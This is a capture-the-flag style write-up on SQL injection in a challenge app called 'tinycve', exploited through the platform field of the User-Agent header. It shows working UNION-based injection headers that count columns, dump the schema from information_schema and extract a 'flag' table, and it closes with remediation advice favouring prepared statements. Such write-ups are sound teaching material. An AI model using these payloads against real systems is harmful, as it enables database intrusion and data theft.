Vulnerability analysis The tinycve application performs two queries on a vulnerability database. The first query is on the basis of a search string, and it is uses a regular expression. The second query is on the basis of a the client's "platform", which the application seems to automagically guess. It turns out that tinycve guesses it from the "platform" field of the "User-Agent" HTTP request header. Such a field is the one between the first '(' character and the successive ';' character, for example "X11" in: User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 The first query is filtered through a mysql_real_escape_string() function, but the second query is vulnerable to SQL injection. Indeed, the platform string is concatenated unsafely to a SQL query, allowing for SQL injection into string literal constant. To be really sure, we can test the vulnerability (with Burp Repeater) by sending a quote character: User-Agent: Mozilla/5.0 ('; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 We can observe that the response contains an "Invalid query" error message. Exploitation The first thing to do is to check the number of columns of the UNION operation by sending: User-Agent: Mozilla/5.0 (' UNION SELECT 'field1' -- ; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 User-Agent: Mozilla/5.0 (' UNION SELECT 'field1', 'field2' -- ; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Etc. It turns out that there are two columns in the UNION operation, both of which are returned into the page. Now we have to reverse engineer the database with: User-Agent: Mozilla/5.0 (' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schema=database() -- ; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Through this we discover that there are two tables in the current schema: a "vulns" table and an interesting "flag" table which contains a single column named "flag". Now we can proceed to steal the flag by injecting: User-Agent: Mozilla/5.0 (' UNION SELECT flag, NULL FROM flag -- ; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Remediation We can patch this by using real_escape_string() even in the second query, but this leaves space for other possible vulnerabilities. Thus the best approach is to use prepared statements.